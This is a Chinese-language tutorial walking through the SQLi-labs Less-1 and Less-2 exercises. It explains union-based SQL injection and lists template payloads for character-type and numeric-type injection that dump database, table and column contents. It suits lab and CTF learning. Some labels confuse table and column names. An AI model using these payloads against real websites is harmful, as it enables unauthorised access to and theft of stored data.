最基础的SQL注入
审题(Less-1)
Less-1题目如下
由英文提示我们可以得知我们需要传入的参数名字为ID
于是我们尝试使用get方式传入参数,得到下图
因为这是SQL注入的实验室,所以我们就不进行是否存在SQL注入的判断了,直接开始注入流程。
猜字段数
由此得知字段数为3,然后我们进行下一步
获得显示位
查询库名
查询表名
查询列名
这里我查询了users这个列名
获得你需要的内容
在ctf里面,flag一般都在列名里面,至于要查询哪一个表、哪一个列都是需要自己去判断的
SQL注入的套路语句(适用于无任何过滤的情况下)
?id=1'order by 1--+(猜字段数,下面假设字段数为3)
?id=-1'union select 1,2,3--+(获得显示位)
?id=-1'union select 1,database(),3--+(查库名)
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'--+(查表)
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='列名'--+(查列)
?id=-1'union select 1,group_concat(列里面的内容),3 from 列名--+
SQL的另一个知识点(Less-2)
字符型注入和数字型注入
在Less-1输入:?id=’ 1and 1=1’ 的时候是会报错的
而在Less-2却不会,这就是因为Less-2需要使用的是数字型注入
Less-2的套路跟Less-1一样,唯一的区别就是不需要闭合参数,即把 == ?id=1’ == 1后面的“ ’ ” 去掉
?id=1 order by 1--+(猜字段数,下面假设字段数为3)
?id=-1 union select 1,2,3--+(获得显示位)
?id=-1 union select 1,database(),3--+(查库名)
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'--+(查表)
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='列名'--+(查列)
?id=-1 union select 1,group_concat(列里面的内容),3 from 列名--+
总结
数字型注入和字符型注入的区别
数字型注入:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
字符型注入:当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。